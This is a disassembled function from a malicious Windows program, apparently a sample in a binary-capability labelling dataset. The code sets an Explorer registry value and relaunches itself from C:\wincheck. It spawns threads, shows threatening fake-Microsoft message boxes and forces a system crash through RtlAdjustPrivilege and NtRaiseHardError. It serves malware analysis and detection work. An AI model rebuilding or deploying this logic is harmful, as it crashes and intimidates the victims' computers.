Function at 0x403840
Capabilities:
Create process on windows
Create thread
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1410
call fcn.00413ef0
mov eax, dword [0x41d490]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
mov ecx, 0x14
mov esi, str.SOFTWAREMicrosoftWindowsCurrentVersionExplorerAdvancedFolderHiddenSHOWALL
lea edi, [ebp - 0x58]
rep movsd dword es:[edi], dword [esi]
lea eax, [ebp - 0x1410]
push eax
lea ecx, [ebp - 0x58]
movsw word es:[edi], word [esi]
push ecx
xor esi, esi
push 0x80000002
mov dword [ebp - 0x140c], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov eax, dword [ebp - 0x1410]
push 4
lea edx, [ebp - 0x140c]
push edx
push 4
push esi
push str.CheckedValue
push eax
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 0x1388
lea ecx, [ebp - 0x13e0]
push ecx
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x13e0]
mov dword [ebp - 0x13e8], 0xf
mov dword [ebp - 0x13ec], esi
mov byte [ebp - 0x13fc], 0
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x4038e0
sub eax, edx
push eax
lea edx, [ebp - 0x13e0]
push edx
lea ecx, [ebp - 0x13fc]
call fcn.00405650
mov eax, dword [ebp - 0x13ec]
push 0xffffffffffffffff
add eax, 0xfffffffc
push eax
lea ecx, [ebp - 0x13fc]
call fcn.00403cb0
mov esi, dword [ebp - 0x13ec]
mov eax, esi
cmp esi, 0xb
jb 0x403925
mov eax, 0xb
mov edi, dword [ebp - 0x13e8]
mov ebx, dword [ebp - 0x13fc]
mov edx, ebx
cmp edi, 0x10
jae 0x40393e
lea edx, [ebp - 0x13fc]
mov ecx, str.C:wincheck
call fcn.00401040
test eax, eax
jne 0x40395b
cmp esi, 0xb
jb 0x40395b
cmp esi, 0xb
setne al
test eax, eax
je 0x403979
mov eax, ebx
cmp edi, 0x10
jae 0x403968
lea eax, [ebp - 0x13fc]
push 0xa
push 0
push 0
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
call fcn.00402b70
call fcn.00402ca0
lea ecx, [ebp - 0x1408]
push ecx
call fcn.004086ad
lea edx, [ebp - 0x1408]
push edx
call fcn.00407620
mov ecx, dword [eax + 0x10]
inc ecx
add esp, 8
cmp ecx, dword [eax + 0xc]
jne 0x4039d1
call fcn.004036b0
push 0
push 0
push 0
push 0x4037f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00402a00
lea edx, [ebp - 0x1408]
push edx
call fcn.004086ad
lea eax, [ebp - 0x1408]
push eax
call fcn.00407620
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
inc ecx
inc edx
add esp, 8
cmp ecx, edx
jne 0x403a85
call fcn.004036b0
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
push 0x40
push 0x41a5e0
push str.Please_TURN_ON_YOUR_PC_tomorrow._nMicrosoft_have_a_surprise_for_you.
push 0
call esi
push 0x30
push 0x41a5e0
push str.Microsoft_have_this_surprise_only_for_you._nDontt_tell_anyone_else.
push 0
call esi
push 0x30
push 0x41a5e0
push str.Or_maybe_I_will_start_this_surprise_now...
push 0
call esi
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
push 0xea60
call edi
push 0
push 0
push 0
push 0x4037f0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push 0xea60
call edi
push 0x30
push 0x41a5e0
push str.Now...Look_at_your_PC...
push 0
call esi
push 0x30
push str.Micr6s6ft_Wind6ws_666666
push str.THEN_DIE.
push 0
call esi
call fcn.00402a00
lea eax, [ebp - 0x1408]
push eax
call fcn.004086ad
lea ecx, [ebp - 0x1408]
push ecx
call fcn.00407620
mov edx, dword [eax + 0x10]
mov eax, dword [eax + 0xc]
inc edx
add eax, 2
add esp, 8
cmp edx, eax
jne 0x403b6c
call fcn.004036b0
mov esi, dword [sym.imp.USER32.dll_MessageBoxA]
push 0x30
push str.Micr6s6ft_Wind6ws_666666
push str.DIE.
push 0
call esi
push 0x30
push str.Micr6s6ft_Wind6ws_666666
push str.DIE.
push 0
call esi
push 0x30
push str.Micr6s6ft_Wind6ws_666666
push str.DIE.
push 0
call esi
push 0x30
push str.Micr6s6ft_Wind6ws_666666
push str.DIE.
push 0
call esi
push 0x30
push str.Micr6s6ft_Wind6ws_666666
push str.DIE.
push 0
call esi
push 0x30
push str.Micr6s6ft_Wind6ws_666666
push str.DIE.
push 0
call esi
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
push str.RtlAdjustPrivilege
push esi
call edi
push str.NtRaiseHardError
push esi
mov ebx, eax
call edi
lea ecx, [ebp - 0x13fd]
push ecx
push 0
push 1
push 0x13
mov esi, eax
call ebx
lea edx, [ebp - 0x1404]
push edx
push 6
push 0
push 0
push 0
push 0xdead6666
call esi
add esp, 0x28
call fcn.00401e20
call fcn.00403750
cmp dword [ebp - 0x13e8], 0x10
pop edi
pop esi
pop ebx
jb 0x403b91
mov eax, dword [ebp - 0x13fc]
push eax
call fcn.0040715b
add esp, 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
xor eax, eax
call fcn.00407166
mov esp, ebp
pop ebp
ret 0x10